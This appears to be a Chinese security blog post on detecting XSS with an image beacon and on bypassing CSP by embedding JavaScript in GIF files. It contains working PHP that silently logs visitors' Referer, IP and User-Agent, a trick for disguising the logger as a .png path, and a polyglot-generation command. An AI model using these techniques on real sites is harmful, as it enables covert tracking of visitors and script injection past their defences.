图片xss探测+图片植入js代码绕过CSP

发布于 2021-03-05  92 次阅读


图片xss探测

局限性:

只可以获取到地址,ip 请求头信息 不可以获取到cookie

请求头里面的 Referer 不同浏览器 传过去的信息也不一样

测试 火狐浏览器 可以传完整地址   谷歌浏览器 只可以传域名信息

目标:https://baidu.com/abc/index.php

谷歌浏览器Referer : https://baidu.com

火狐浏览器Referer: https://baidu.com/abc/index.php

原理:

img 标签的 src 默认会带当前请求头信息过去

然后在获取请求头信息就可以了

为防止怀疑

路径隐藏 : 如果直接使用 <img src=//127.0.0.1/get.php/>  因为是php 不够隐蔽

解决方法 新载一个文件名为(test.png)  然后目录下吧获取请求头信息的文件命名为index.php

这样访问<img src=//127.0.0.1/test.png> 其实为  127.0.0.1/test.png/index.php

最后在返回一张图片
php实现

?php
    $keys=array('HTTP_REFERER','REMOTE_ADDR','HTTP_USER_AGENT');
    //file_put_contents('result',$_SERVER);
    $headers='';
    foreach($_SERVER as $key=>$value){
        if(in_array($key,$keys)){
            $headers.='|'.$key.':'.$value;
            //echo $headers;
        }
    }
    file_put_contents('result',$headers."\n",FILE_APPEND);
    echo file_get_contents('test.jpg');
?>

流程图:

访问picc.jpg  文件夹 自动访问index.php 然后获取请求头信息 最后返回图片

注入js到图片绕过CSP

#相关资料:
http : //marcoramilli.blogspot.it/2013/10/hacking-through-images.html
http://marcoramilli.blogspot.ru/2014/01/hacking-through-image-gif-turn.html
https://github.com/wopot/jsgifkeylogger

#CSP简介

内容安全策略(Content Security Policy,简称CSP)是一种以可信白名单作机制,来限制网站中是否可以包含某来源的内容。

例如知乎的响应头里有如下细分:

Content-Security-Policy: default-src *; script-src *.zhihu.com *.google-analytics.com 'unsafe-eval'; 

这样的浏览器就只会加载来自.zhihu.com ,。 google-analytics.com的js文件。即使找到了一个好用的存储类型XSS,也无法加载外域的js脚本。

#注入js到图片文件

很显然,如果我们可以在* .zhihu.com上上传一个js文件,xss就可以利用了。符合js语法的文件呢。下图说明是可以的。script标签的src属性是不限制资源后缀的,只要返回是合法的js代码即可。

关于如何让一个图片文件变成符合js语法的文件,已经有足够的相关的研究了。

相关脚本下载:https : //github.com/stayliv3/blog_material/tree/master/csp

使用方法:

python jsingif.py -i test.gif "alert(1)"

侠之大者,为国为民,侠之小者,为友为邻